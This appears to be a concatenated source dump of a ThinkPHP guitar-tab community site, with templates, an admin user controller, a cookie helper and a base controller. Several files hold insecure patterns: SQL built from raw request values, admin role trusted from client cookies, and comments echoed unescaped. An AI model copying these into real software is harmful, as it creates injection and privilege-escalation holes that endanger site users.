<a href="http://localhost:9990/gtp/user/<?php getUserDomainById($comment['user_id']) ?>"><img src="<?php getUserFaceById($comment['user_id']); ?>" class="face" /></a>
</div>
<div class="comm_r">
<a href="http://localhost:9990/gtp/user/<?php getUserDomainById($comment['user_id']) ?>" id="comm-nick-<?php echo ($comment["id"]); ?>"><?php echo ($comment["nick"]); ?></a> <span class="c7"><?php echo (firendlytime($comment["add_time"])); ?></span>
<?php if(!empty($comment['parent_id']) && $comment['parent_id'] > 0) { ?>
<?php $p_comment = getCommentById($comment['parent_id']); ?>
<?php if(empty($p_comment) || $p_comment["state"] == -1) { ?>
<p class="quote_item" style="color: #999;">该评论已被删除</p>
<?php } else { ?>
<p class="quote_item"><?php getParentUser($comment['parent_id']); ?>:<?php echo $p_comment['content']; ?></p>
<?php } ?>
<?php } ?>
<p id="comm-cnt-<?php echo ($comment["id"]); ?>"><?php echo (autolink($comment["content"])); ?></p>
</div>
<div class="c_opt">
<?php if(isTopicOwnerById($item_id, $_uid) || isCommentOwner($comment['id'], $_uid)) { ?>
<a href="javascript:void(0);" class="doDelete" cid="<?php echo ($comment["id"]); ?>">删除</a>
<?php } ?>
<a href="javascript:void(0);" class="doQuote" cid="<?php echo ($comment["id"]); ?>">回应</a>
</div>
<br class="clear" />
</li><?php endforeach; endif; ?>
</ul>
<!-- page begin -->
<div class="manu"><?php echo ($page); ?></div>
<!-- page end -->
<br/>
<?php if($_logined == true) { ?>
<div id="commentPanel">
<div class="trhead">
<a name="review"></a>
<strong>我的评论</strong> <span style="color: red;" id="lblErr"></span>
</div>
<ul>
<li style="border: none;">
<div class="comm_l">
<a href="http://localhost:9990/gtp/user/<?php getUserDomainById($_uid); ?>"><img src="<?php getUserFaceById($_uid, 's'); ?>" class="face" /></a>
</div>
<div class="comm_r">
<div id="comm_quote">
<div style="float: left; width: 95%;" id="quote_cnt_p">
<a id="quote_nick"></a> : <p id="quote_cnt"></p>
</div>
<div style="float: right; width: 3%;"><a href="javascript:void(0);" id="quote_cancel">x</a></div>
<br class="clear" />
</div>
<form class="form">
<textarea name="content" id="txtContent" class="textarea"></textarea>
<input type="hidden" id="itemType" name="item_type" value="<?php echo ($item_type); ?>" />
<input type="hidden" id="itemId" name="item_id" value="<?php echo ($item_id); ?>" />
<input type="hidden" id="parentId" name="parent_id" value="-1" />
<input type="button" id="btnComment" class="button" style="margin-top: 5px;" value="回复" />
</form>
</div>
</li>
</ul>
</div>
<?php } ?>
</div>
<!--/文章评论-->
</div>
<!-- right begin -->
<div class="channel-right">
<div class="hot-rank thinkphp-box1">
<div class="head"><strong>更多日志</strong></div>
<div class="body">
<ul>
<?php $i = 1; ?>
<?php if(is_array($blog_list)): foreach($blog_list as $key=>$item): ?><li><?php echo $i; ?>、<a href="http://localhost:9990/gtp/blog/<?php echo ($item["id"]); ?>"><?php echo ($item["title"]); ?></a></li>
<?php $i ++; endforeach; endif; ?>
</ul>
</div>
</div>
</div>
<!-- right end -->
</div>
<div class="footer">
<div class="wp">
<p class="copy" style="">©<a href="http://localhost:9990/gtp">Guitar-Pro.cn</a> 2012 </p>
<p class="navg"><a href="http://localhost:9990/gtp/blog/1">关于我们</a><a href="http://localhost:9990/gtp/blog/2">更新列表</a><a href="http://localhost:9990/gtp/blog/3">BUG反馈</a><a href="http://localhost:9990/gtp/blog/4">功能建议</a><a href="http://localhost:9990/gtp/blog/5">友情链接</a></p>
<p class="links"></p>
</div>
</div>
<input type="hidden" name="site" id="site" value="http://localhost:9990/gtp" />
<div style="display:none">
<script language="javascript" type="text/javascript" src="http://js.users.51.la/17745245.js"></script>
<noscript><a href="http://www.51.la/?17745245" target="_blank"><img alt="我要啦免费统计" src="http://img.users.51.la/17745245.asp" style="border:none" /></a></noscript>
</div>
</body>
</html><file_sep>/Application/Runtime/Cache/Home/61ac73a83e0c01199e83ad64cb50163d.php
<?php if (!defined('THINK_PATH')) exit();?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<!-- <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1" /> -->
<?php if(!empty($title)): ?><title><?php echo ($title); ?>|Guitar Pro</title>
<?php else: ?>
<title>Guitar Pro</title><?php endif; ?>
<meta name="keywords" content="吉他谱,吉他,吉他视频,GTP,Guitar Pro,吉他谱下载" />
<?php if(!empty($description)): ?><meta name="description" content="<?php echo ($description); ?>,收藏自Guitar-Pro.cn." />
<?php else: ?>
<meta name="description" content="Guitar-pro,收集分享Guitar-pro吉他谱,吉他视频,为吉他爱好者打造网上资源互动社区." /><?php endif; ?>
<link rel="alternate" type="application/rss+xml" title="阿谱小站" href="http://localhost:9990/gtp/feed" />
<link rel="shortcut icon" href="http://localhost:9990/gtp/favicon.ico" type="image/x-icon" />
<link rel="stylesheet" type="text/css" href="http://localhost:9990/gtp/css/concision.css" />
<link rel="stylesheet" type="text/css" href="http://localhost:9990/gtp/css/prettify.css" />
<script type="text/javascript" src="http://localhost:9990/gtp/js/jquery-2.1.3.min.js"></script>
<script type="text/javascript" src="http://localhost:9990/gtp/js/guitar.js"></script>
</head>
<body>
<div class="header">
<div class="header-wrap wp cf">
<h3 class="logo"><a href="http://localhost:9990/gtp" title="返回首页">Guitar Pro</a></h3>
<ul class="navg">
<li class="title <?php if((CONTROLLER_NAME == 'Index')): ?>selected<?php endif; ?>"><a class="show" href="http://localhost:9990/gtp">首页</a></li>
<li class="title <?php if((CONTROLLER_NAME == 'Gtp')): ?>selected<?php endif; ?>"><a class="show" href="http://localhost:9990/gtp/gtp/">吉他谱</a></li>
<li class="title <?php if(($channel == 'Vedio')): ?>selected<?php endif; ?>"><a class="show" href="http://localhost:9990/gtp/vedio/">吉他视频</a></li>
<!--
<li class="title <?php if($channel == "Group" || $channel == "Topic") { ?>selected<?php } ?>"><a class="show" href="http://localhost:9990/gtp/group/">小组</a></li>
<?php if($_logined) { ?>
<li class="title <?php if(($channel == 'user')): ?>selected<?php endif; ?>"><a class="show" href="http://localhost:9990/gtp/user/<?php echo (getuserdomainbyid($_uid)); ?>">我的空间</a></li>
<?php } ?>
-->
</ul>
<p class="user">
<?php if(!$_logined) { ?>
[<a href="http://localhost:9990/gtp/user/login">登录</a><a href="http://localhost:9990/gtp/user/register">注册</a>]
<?php } else { ?>
[ <?php echo (urldecode($_nick)); ?>
<!--
<a href="http://localhost:9990/gtp/message/" class="mlr0">邮件<?php if($_msgNum > 0) { ?><span id="msg">(<?php echo ($_msgNum); ?>)</span><?php } ?></a>
-->
<a href="http://localhost:9990/gtp/user/settings">设置</a> <a href="http://localhost:9990/gtp/user/logout">退出</a>]
<?php } ?>
</p>
</div>
</div>
<div class="contaier thinkphp-app wp">
<div class="app-left">
<div class="ident">吉他谱</div>
<!--文章详细-->
<div class="app-detail">
<div class="head">
<h1><?php echo ($gtp["artist_name"]); ?>-<?php echo ($gtp["song_title"]); ?> 吉他谱下载</h1>
<div class="app-info">
<span class="date"><?php echo (todate($gtp["add_time"],'Y-m-d H:i')); ?></span>
<a class="author" href="http://localhost:9990/gtp/gtp/?artist_name=<?php echo (urlencode($gtp["artist_name"])); ?>"><?php echo ($gtp["artist_name"]); ?>的吉他谱</a>
<span class="version"><!--<a href="http://localhost:9990/gtp/user/<?php getUserDomain($user); ?>">--><?php echo ($user["nick"]); ?><!--</a>-->上传</span>
<a class="class" href="http://localhost:9990/gtp/gtp/">[ 吉他谱 ]</a>
<?php if ($can_edit) { ?>
<a href="http://localhost:9990/gtp/gtp/edit/<?php echo ($gtp["id"]); ?>">[编辑]</a>
<?php } ?>
<div class="score">
<span record="37" class="score" model="45" score="0"></span>
<span class="total">(共<span id="score-count"><?php echo ($gtp["download_num"]); ?></span>人下载)</span>
</div>
</div>
</div>
<div class="body">
<div class="app-relative">
<a href="http://localhost:9990/gtp/gtp/download/<?php echo ($gtp["id"]); ?>" class="button" target="_blank">下载吉他谱</a>
<i class="line"> </i><?php echo ($gtp["download_num"]); ?>人下载过
<?php if(!empty($gtp['author'])) { ?><i class="line"> </i><span class="c7">制作者:<?php echo ($gtp["author"]); ?></span><?php } ?>
<?php if(!empty($gtp['source'])) { ?><i class="line"> </i><span class="c7">来源:<?php echo ($gtp["source"]); ?></span><?php } ?>
</div>
<?php if(count($vedioes) > 0): ?>
<br/>
<div class="app-summary v_list">
<b><?php echo ($gtp["artist_name"]); ?>-<?php echo ($gtp["song_title"]); ?> 吉他视频</b>
<br />
<br />
<ul>
<?php if(is_array($vedioes)): foreach($vedioes as $key=>$vedio): ?><li class="vitem">
<ul>
<li><a href="http://localhost:9990/gtp/vedio/<?php echo ($vedio["id"]); ?>"><img src="<?php echo ($vedio["thumb"]); ?>" alt="<?php echo ($vedio["song_title"]); ?>" /></a></li>
<li><a href="http://localhost:9990/gtp/vedio/<?php echo ($vedio["id"]); ?>"><?php echo ($vedio["song_title"]); ?></a></li>
<li>发布:<?php echo (firendlytime($vedio["add_time"])); ?></li>
<li>播放:<?php echo ($vedio["view_num"]); ?></li>
</ul>
</li><?php endforeach; endif; ?>
</ul>
</div>
<?php endif; ?>
<?php if(count($song_title_gtps) > 0): ?>
<div class="relation">
<div class="trhead">
<b><?php echo ($gtp["song_title"]); ?> 其他吉他谱下载</b>
</div>
<ul>
<?php if(is_array($song_title_gtps)): foreach($song_title_gtps as $key=>$gtp): ?><li><a href="http://localhost:9990/gtp/gtp/<?php echo ($gtp["id"]); ?>"><?php echo ($gtp["song_title"]); ?>-<?php echo ($gtp["artist_name"]); ?></a> <?php echo (todate($gtp["add_time"],'Y-m-d H:i')); ?></li><?php endforeach; endif; ?>
</ul>
</div>
<?php endif; ?>
<?php if(count($artist_name_gtps) > 0): ?>
<div class="relation">
<div class="trhead">
<b><?php echo ($gtp["artist_name"]); ?>吉他谱下载</b>
</div>
<ul>
<?php if(is_array($artist_name_gtps)): foreach($artist_name_gtps as $key=>$g): ?><li><a href="http://localhost:9990/gtp/gtp/<?php echo ($g["id"]); ?>"><?php echo ($g["song_title"]); ?>-<?php echo ($g["artist_name"]); ?></a> 下载:<?php echo ($g["download_num"]); ?>次</li><?php endforeach; endif; ?>
</ul>
</div>
<?php endif; ?>
<p>
<br/>
<b>搜索更多:</b> <a href="http://localhost:9990/gtp/gtp/?artist_name=<?php echo (urlencode($gtp["artist_name"])); ?>"><?php echo ($gtp["artist_name"]); ?>的吉他谱</a>
</p>
<br/>
</div>
<!--
<div class="foot">
<span class="fpage">
<a class="prev" href="/app/jdcms.html" title="上一篇"><span>上一篇</span></a> <a class="dir" href="http://localhost:9990/gtp/gtp/" title="返回目录">返回目录</a>
<a class="next" href="/app/efucms.html" title="下一篇"><span>下一篇</span></a> </span>
<span class="share">
<b>分享到:</b>
<a class="sina" href="javascript:;">新浪微博</a>
<a class="tencent" href="javascript:;">腾讯微博</a>
</span>
</div>
-->
</div>
<!--/文章详细-->
<!--文章评论-->
<!--
<div class="review">
<div class="trhead">
<a name="review"></a>
<strong>评论</strong>共<span class="review-count"><?php echo ($gtp["comment_num"]); ?></span>条
</div>
<div class="trbody">
<div class="review-users"></div>
<div class="review-more">
<a href="javascript:get_review();">查看更多评论↓</a>
</div>
<div class="review-form cf">
<form action="/review/update.html" method="post">
<span class="textarea"><textarea name="content"></textarea></span>
<input type="hidden" value="45" name="model_id" />
<input type="hidden" value="37" name="record_id" />
<input type="hidden" value="0" name="review_id" />
<input class="submit" type="submit" value="评论" />
<span class="strleng">评论支持使用[code][/code]标签添加代码</span>
<span class="syn">同步到:<a href="#">新浪微博</a><a href="#">腾讯微博</a></span>
</form>
</div>
<div class="login-tip">
您需要登录后才可以评论 <a href="/member/login.html">登录</a> | <a href="/member/register.html">立即注册</a>
</div>
</div>
</div>
-->
<!--/文章评论-->
</div>
<!-- right begin -->
<div class="channel-right">
<div class="sort">
<ul class="cf">
<li class="selected"><a href="#">全部</a></li>
<li><a href="http://localhost:9990/gtp/gtp/add">发布吉他谱</a></li>
<li><a href="http://localhost:9990/gtp/gtp/add?artist_name=<?php echo ($gtp["artist_name"]); ?>">发布 "<?php echo ($gtp["artist_name"]); ?>" 的吉他谱</a></li>
<li><a href="http://localhost:9990/gtp/vedio/add?artist_name=<?php echo ($gtp["artist_name"]); ?>">发布这个吉他视频</a></li>
</ul>
</div>
</div>
<br />
<div class="channel-right">
<script type="text/javascript">
alimama_pid="mm_10574926_3506959_11486840";
alimama_width=300;
alimama_height=250;
</script>
<script src="http://a.alimama.cn/inf.js" type="text/javascript">
</script>
</div>
<!-- right end -->
</div>
<div class="footer">
<div class="wp">
<p class="copy" style="">©<a href="http://localhost:9990/gtp">Guitar-Pro.cn</a> 2012 </p>
<p class="navg"><a href="http://localhost:9990/gtp/blog/1">关于我们</a><a href="http://localhost:9990/gtp/blog/2">更新列表</a><a href="http://localhost:9990/gtp/blog/3">BUG反馈</a><a href="http://localhost:9990/gtp/blog/4">功能建议</a><a href="http://localhost:9990/gtp/blog/5">友情链接</a></p>
<p class="links"></p>
</div>
</div>
<input type="hidden" name="site" id="site" value="http://localhost:9990/gtp" />
<script type="text/javascript">(function(){document.write(unescape('%3Cdiv id="bdcs"%3E%3C/div%3E'));var bdcs = document.createElement('script');bdcs.type = 'text/javascript';bdcs.async = true;bdcs.src = 'http://znsv.baidu.com/customer_search/api/js?sid=14009195900081859174' + '&plate_url=' + encodeURIComponent(window.location.href) + '&t=' + Math.ceil(new Date()/3600000);var s = document.getElementsByTagName('script')[0];s.parentNode.insertBefore(bdcs, s);})();</script>
<div style="display:none">
<script language="javascript" type="text/javascript" src="http://js.users.51.la/17745245.js"></script>
<noscript><a href="http://www.51.la/?17745245" target="_blank"><img alt="我要啦免费统计" src="http://img.users.51.la/17745245.asp" style="border:none" /></a></noscript>
</div>
</body>
</html><file_sep>/Application/M/Conf/config.php
<?php
return array(
'DEFAULT_MODULE' => 'Index',
'MODULE_ALLOW_LIST' => array ( 'Index', 'M', 'Admin'),
);<file_sep>/Application/Runtime/Cache/Home/3359adbadf95118621a5c500fb3ff893.php
<?php if (!defined('THINK_PATH')) exit();?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<!-- <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1" /> -->
<?php if(!empty($title)): ?><title><?php echo ($title); ?>|Guitar Pro</title>
<?php else: ?>
<title>Guitar Pro</title><?php endif; ?>
<meta name="keywords" content="吉他谱,吉他,吉他视频,GTP,Guitar Pro,吉他谱下载" />
<?php if(!empty($description)): ?><meta name="description" content="<?php echo ($description); ?>,收藏自阿谱小站." />
<?php else: ?>
<meta name="description" content="Guitar-pro,收集分享Guitar-pro吉他谱,吉他视频,为吉他爱好者打造网上资源互动社区." /><?php endif; ?>
<link rel="alternate" type="application/rss+xml" title="阿谱小站" href="http://localhost:9990/gtp/feed" />
<link rel="shortcut icon" href="http://localhost:9990/gtp/favicon.ico" type="image/x-icon" />
<link rel="stylesheet" type="text/css" href="http://localhost:9990/gtp/css/concision.css" />
<link rel="stylesheet" type="text/css" href="http://localhost:9990/gtp/css/prettify.css" />
<script type="text/javascript" src="http://localhost:9990/gtp/js/jquery-2.1.3.min.js"></script>
<script type="text/javascript" src="http://localhost:9990/gtp/js/guitar.js"></script>
</head>
<body>
<div class="header">
<div class="header-wrap wp cf">
<h3 class="logo"><a href="http://localhost:9990/gtp" title="返回首页">Guitar Pro</a></h3>
<ul class="navg">
<li class="title <?php if((CONTROLLER_NAME == 'Index')): ?>selected<?php endif; ?>"><a class="show" href="http://localhost:9990/gtp">首页</a></li>
<li class="title <?php if((CONTROLLER_NAME == 'Gtp')): ?>selected<?php endif; ?>"><a class="show" href="http://localhost:9990/gtp/gtp/">吉他谱</a></li>
<!--
<li class="title <?php if(($channel == 'Vedio')): ?>selected<?php endif; ?>"><a class="show" href="http://localhost:9990/gtp/vedio/">吉他视频</a></li>
<li class="title <?php if($channel == "Group" || $channel == "Topic") { ?>selected<?php } ?>"><a class="show" href="http://localhost:9990/gtp/group/">小组</a></li>
<?php if($_logined) { ?>
<li class="title <?php if(($channel == 'user')): ?>selected<?php endif; ?>"><a class="show" href="http://localhost:9990/gtp/user/<?php echo (getuserdomainbyid($_uid)); ?>">我的空间</a></li>
<?php } ?>
-->
</ul>
<p class="user">
<?php if(!$_logined) { ?>
[<a href="http://localhost:9990/gtp/user/login">登录</a><a href="http://localhost:9990/gtp/user/register">注册</a>]
<?php } else { ?>
[ <?php echo (urldecode($_nick)); ?>
<!--
<a href="http://localhost:9990/gtp/message/" class="mlr0">邮件<?php if($_msgNum > 0) { ?><span id="msg">(<?php echo ($_msgNum); ?>)</span><?php } ?></a>
-->
<a href="http://localhost:9990/gtp/user/settings">设置</a> <a href="http://localhost:9990/gtp/user/logout">退出</a>]
<?php } ?>
</p>
</div>
</div>
<div class="contaier wp cf">
<div class="ident">注册</div>
<div class="register" style="width: 580px;">
<div class="head">
<strong>用户注册</strong><span>已有帐号?点击<a href="http://localhost:9990/gtp/user/login">登录</a></span>
<span style="color: red" id="err"><?php echo ($err); ?></span>
</div>
<div class="body form">
<form action="http://localhost:9990/gtp/user/register" id="regFrm" method="post" class="login">
<table style="width: 580px;">
<tr>
<th>用户名</th>
<td>
<input class="text" type="text" id="txtNick" name="nick" value="<?php echo ($nick); ?>" placeholder="用户名/昵称" />
</td>
</tr>
<tr>
<th>密 码</th>
<td>
<input class="text" type="password" id="txtPwd" name="pwd" placeholder="<PASSWORD>" />
</td>
</tr>
<tr>
<th>确认密码</th>
<td>
<input class="text" type="password" id="txtRePwd" name="re_pwd" placeholder="再次输入密码" />
</td>
</tr>
<tr>
<th>邮 箱</th>
<td>
<input class="text" type="text" id="txtEmail" name="email" value="<?php echo ($email); ?>" placeholder="会员邮箱" />
</td>
</tr>
<tr>
<th> </th>
<td>
<input class="submit" type="submit" value="完成" />
</td>
</tr>
</table>
</form>
</div>
</div>
<div class="login-other">
<div class="head">
<!--
<strong>使用其他帐号直接登录</strong>
-->
</div>
<div class="body">
<!--
<ul class="other-account">
<li><a class="qq" href="/oauth/index/type/qq.html">腾讯QQ登录</a></li><li><a class="tencent" href="/oauth/index/type/tencent.html">腾讯微博登录</a></li><li><a class="t163" href="/oauth/index/type/t163.html">网易微博登录</a></li><li><a class="sina" href="/oauth/index/type/sina.html">新浪微博登录</a></li> </ul>
-->
</div>
</div>
</div>
<div class="footer">
<div class="wp">
<p class="copy">©ThinkPHP 2012</p>
<p class="navg"><a href="/about/index.html">关于我们</a><a href="/about/donate.html">捐赠我们</a><a href="/update/index.html">更新列表</a><a href="/bug/index.html">BUG反馈</a><a href="/suggest/index.html">功能建议</a><a href="/link/index.html">友情链接</a></p>
<p class="links"><a href="/donate/index.html">捐赠 <?php echo ($is_mobile ? "手机浏览" : "PC浏览"); ?></a><a href="/rss/index.xml">订阅</a><a href="/about/attention.html">关注</a><a href="http://bbs.thinkphp.cn" target="_blank">论坛</a></p>
</div>
</div>
<input type="hidden" name="site" id="site" value="http://localhost:9990/gtp" />
<div style="display:none">
</div>
</body>
</html><file_sep>/Application/Admin/Controller/UserController.class.php
<?php
namespace Admin\Controller;
use Think\Controller;
use Think\Exception;
use Think\Page;
class UserController extends BaseController {
public function _before_index() {
if(!$this->is_admin())
redirect($this->site_url."/user/login/?page=admin/user/index");
}
public function index() {
$p = I("get.p") ? I("get.p") : 1;
$size = 10;
$state = I("get.state");
$role = I("get.role");
if(!empty($state) && $state != -1) {
$where["state"] = $state;
$this->assign("state", $state);
}
if(!empty($role) && $role != "-1") {
$where["role"] = $role;
$this->assign("role", $role);
}
$user_list = M("User")->where($where)->order('regist_time desc')->page($p.",{$size}")->select();
$count = M("User")->where($where)->count();
$Page = new Page($count, $size);
$page = $Page->show();
$this->assign('user_list', $user_list);
$this->assign('page', $page);
$this->display();
}
public function _before_edit() {
if(!$this->is_admin())
redirect($this->site_url."/user/login/?page=admin/user/edit/". I("get.id"));
}
public function edit() {
if(IS_POST) {
try {
$role = trim(I("post.role"));
$state = trim(I("post.state"));
if($role == -1) E("必须选择用户角色");
if($state == -1) E("必须选择用户状态");
$id = I("post.id");
$data['role'] = $role;
$data['state'] = $state;
M("User")->where("id={$id}")->data($data)->save();
$this->redirect('/admin/user/');
} catch (Exception $ex) {
$id = I("post.id");
$user = M("User")->where("id = {$user_id}")->find();
$this->assign("item", $user);
$this->assign("err", $ex->getMessage());
$this->display();
}
} else {
$user_id = I("get.id");
$user = M("User")->where("id = {$user_id}")->find();
$this->assign("item", $user);
$this->display();
}
}
}<file_sep>/ThinkPHP/Library/Org/Util/Cookie.class.php
<?php
namespace Org\Util;
class Cookie {
private $cookie_params;
private $prefix = "chezb_";
function __construct() {
$this->cookie_params = array('expire' => 3600 * 24 * 30, 'prefix' => $this->prefix);
}
public function add($user) {
//dump($user);
foreach($user as $key => $value){
//dump("key: ".$key." value: ".$value);
cookie($this->prefix.$key, $user[$key], $cookie_params);
//dump("added: ".cookie($key));
}
}
public function get($key) {
return cookie($this->prefix.$key);
}
public function clear() {
dump($_COOKIE);
cookie(null, $this->prefix);
dump($_COOKIE);
}
}
?>
<file_sep>/Application/Home/Controller/BaseController.class.php
<?php
namespace Home\Controller;
use Think\Controller;
use Think\Exception;
header('Content-Type: text/html; charset=utf-8');
class BaseController extends Controller {
protected $uid;
protected $logined;
protected $role;
protected $prefix = "gtp_";
protected $cookie_expire = 360000;
protected $cookie_parm;
protected $site_url;
protected $is_mobile;
protected $msg_num = 0;
public function _initialize() {
$this->cookie_parm = array(
'expire' => $this->cookie_expire,
'prefix' => $this->prefix
);
$this->uid = cookie($this->prefix."uid");
if(!empty($this->uid)) {
$this->logined = true;
$this->role = cookie($this->prefix."role");
$this->assign("_logined", true);
$this->assign("_uid", cookie($this->prefix."uid"));
$this->assign("_nick", cookie($this->prefix."nick"));
$this->assign("_role", cookie($this->prefix."role"));
$this->assign("_msgNum", $this->get_msg_num($this->uid));
} else {
$this->logined = false;
$this->assign("_logined", false);
}
$this->site_url = C('TMPL_PARSE_STRING.__SITE__');
$this->is_mobile = is_mobile();
$this->assign("is_mobile", $this->is_mobile);
//$this->authVerify($this->logined);
$this->assign("channel", CONTROLLER_NAME);
}
private function authVerify($logined) {
if($logined != true) {
if(CONTROLLER_NAME != "User" && CONTROLLER_NAME != "Index")
$this->redirect("/user/login");
}
}
protected function can_edit($item_type, $item_id) {
if($this->logined == false)
return false;
if(cookie($this->prefix."role") == "admin")
return true;
$user_id = -1;
if($item_type == "vedio") {
$vedio = M("Vedio")->where("id = {$item_id}")->find();
$user_id = $vedio["user_id"];
} else if($item_type == "gtp") {
$gtp = M("Gtp")->where("id = {$item_id}")->find();
$user_id = $gtp["user_id"];
}
return $this->uid == $user_id;
}
protected function get_now() {
return date("Y-m-d H:i:s");
}
protected function add_cookie($id, $nick, $role) {
cookie('uid', $id, $this->cookie_parm);
cookie('nick', urlencode($nick), $this->cookie_parm);
cookie('role', $role, $this->cookie_parm);
}
protected function render_gtp($file_name, $title) {
$ua = $_SERVER["HTTP_USER_AGENT"];
$encoded_filename = urlencode($file_name);
$encoded_filename = str_replace("+", "%20", $encoded_filename);
header("Pragma: public");
header("Expires: 0");
header("Cache-Component: must-revalidate, post-check=0, pre-check=0");
header('Content-Type: application/octet-stream');
if (preg_match("/MSIE/", $ua))
header('Content-Disposition: attachment; filename="' . $encoded_filename . '"');
else if (preg_match("/Firefox/", $ua))
header('Content-Disposition: attachment; filename*="utf8\'\''.$file_name.'"');
else
header('Content-Disposition: attachment; filename="'.$file_name. '"');
readfile($title);
}
protected function render($templateFile='', $charset='', $contentType='', $content='', $prefix='') {
if(!$this->is_mobile)
$this->display();
else
$this->display(ACTION_NAME."_mobile");
}
protected function get_msg_num($user_id) {
$map["to_id"] = $user_id;
$map["state"] = 100;
return M("Message")->where($map)->count();
}
}
?><file_sep>/Application/Runtime/Cache/Home/cf2432a6b2b295d0ed3614244da3c927.php
<?php if (!defined('THINK_PATH')) exit();?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<!-- <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1" /> -->
<?php if(!empty($title)): ?><title><?php echo ($title); ?>|Guitar Pro</title>
<?php else: ?>
<title>Guitar Pro</title><?php endif; ?>
<meta name="keywords" content="吉他谱,吉他,吉他视频,GTP,Guitar Pro,吉他谱下载" />
<?php if(!empty($description)): ?><meta name="description" content="<?php echo ($description); ?>,收藏自Guitar-Pro.cn." />
<?php else: ?>
<meta name="description" content="Guitar-pro,收集分享Guitar-pro吉他谱,吉他视频,为吉他爱好者打造网上资源互动社区." /><?php endif; ?>
<link rel="alternate" type="application/rss+xml" title="阿谱小站" href="http://localhost:9990/gtp/feed" />
<link rel="shortcut icon" href="http://localhost:9990/gtp/favicon.ico" type="image/x-icon" />
<link rel="stylesheet" type="text/css" href="http://localhost:9990/gtp/css/concision.css" />
<link rel="stylesheet" type="text/css" href="http://localhost:9990/gtp/css/prettify.css" />
<script type="text/javascript" src="http://localhost:9990/gtp/js/jquery-2.1.3.min.js"></script>
<script type="text/javascript" src="http://localhost:9990/gtp/js/guitar.js"></script>
</head>
<body>
<div class="header">
<div class="header-wrap wp cf">
<h3 class="logo"><a href="http://localhost:9990/gtp" title="返回首页">Guitar Pro</a></h3>
<ul class="navg">
<li class="title <?php if((CONTROLLER_NAME == 'Index')): ?>selected<?php endif; ?>"><a class="show" href="http://localhost:9990/gtp">首页</a></li>
<li class="title <?php if((CONTROLLER_NAME == 'Gtp')): ?>selected<?php endif; ?>"><a class="show" href="http://localhost:9990/gtp/gtp/">吉他谱</a></li>
<li class="title <?php if(($channel == 'Vedio')): ?>selected<?php endif; ?>"><a class="show" href="http://localhost:9990/gtp/vedio/">吉他视频</a></li>
<!--
<li class="title <?php if($channel == "Group" || $channel == "Topic") { ?>selected<?php } ?>"><a class="show" href="http://localhost:9990/gtp/group/">小组</a></li>
<?php if($_logined) { ?>
<li class="title <?php if(($channel == 'user')): ?>selected<?php endif; ?>"><a class="show" href="http://localhost:9990/gtp/user/<?php echo (getuserdomainbyid($_uid)); ?>">我的空间</a></li>
<?php } ?>
-->
</ul>
<p class="user">
<?php if(!$_logined) { ?>
[<a href="http://localhost:9990/gtp/user/login">登录</a><a href="http://localhost:9990/gtp/user/register">注册</a>]
<?php } else { ?>
[ <?php echo (urldecode($_nick)); ?>
<!--
<a href="http://localhost:9990/gtp/message/" class="mlr0">邮件<?php if($_msgNum > 0) { ?><span id="msg">(<?php echo ($_msgNum); ?>)</span><?php } ?></a>
-->
<a href="http://localhost:9990/gtp/user/settings">设置</a> <a href="http://localhost:9990/gtp/user/logout">退出</a>]
<?php } ?>
</p>
</div>
</div>
<div class="contaier wp cf">
<div class="ident">小组</div>
<div class="login" style="width: 580px;margin-top: 0px;">
<div class="slogan"><p>成员管理</p></div>
<br/>
<form class="form" action="http://localhost:9990/gtp/group/member/<?php echo ($group_id); ?>" method="get">
<input type="text" name="nick" placeholder="输入小组成员昵称" value="<?php echo ($nick); ?>" class="text" />
<input type="submit" class="button" value="查找" />
</form>
<div class="cate">
<ul class="item">
<!-- title -->
<li>
<div class="left">
<span class="title" style="width: 150px;display: block; float: left;"><strong>用户名</strong></span>
</div>
<div class="middle">
<span class="title" style="width: 100px;display: block; float: left;"><strong>角色</strong></span>
<span class="title" style="width: 180px;display: block; float: left;"><strong>加入时间</strong></span>
</div>
<div class="right">
<span class="date" style="display: block; float: left; color:#333;"><strong>操作</strong></span>
</div>
</li>
<!-- owner -->
<?php if(!empty($owner)) { ?>
<li>
<div class="left">
<span class="title" style="width: 150px;display: block; float: left;"><a href="http://localhost:9990/gtp/user/<?php echo (getuserdomain($owner)); ?>"><?php echo ($owner["nick"]); ?></a></span>
</div>
<div class="middle">
<span class="title" style="width: 100px;display: block; float: left;">创建人</span>
<span class="title" style="width: 180px;display: block; float: left;"><?php echo (totime($group["add_time"])); ?></span>
</div>
<div class="right">
<span class="date" style="display: block; float: right;"></span>
</div>
</li>
<?php } ?>
<!-- admin -->
<?php if(is_array($admin_list)): foreach($admin_list as $key=>$item): ?><li>
<div class="left">
<span class="title" style="width: 150px;display: block; float: left;"><a href="http://localhost:9990/gtp/user/<?php echo (getuserdomain($item)); ?>"><?php echo ($item["nick"]); ?></a></span>
</div>
<div class="middle">
<span class="title" style="width: 100px;display: block; float: left;">管理员</span>
<span class="title" style="width: 180px;display: block; float: left;"><?php echo (totime($item["add_time"])); ?></span>
</div>
<div class="right">
<span class="date" style="display: block; float: right;"><a onclick="return confirm('取消管理员 ?');" href="http://localhost:9990/gtp/group/role/<?php echo ($item["ug_id"]); ?>?type=admin_cancel">[取消]</a></span>
</div>
</li><?php endforeach; endif; ?>
<!-- member -->
<?php if(is_array($member_list)): foreach($member_list as $key=>$item): ?><li>
<div class="left">
<span class="title" style="width: 150px;display: block; float: left;"><a href="http://localhost:9990/gtp/user/<?php echo (getuserdomain($item)); ?>"><?php echo ($item["nick"]); ?></a></span>
</div>
<div class="middle">
<span class="title" style="width: 100px;display: block; float: left;">成员</span>
<span class="title" style="width: 180px;display: block; float: left;"><?php echo (totime($item["add_time"])); ?></span>
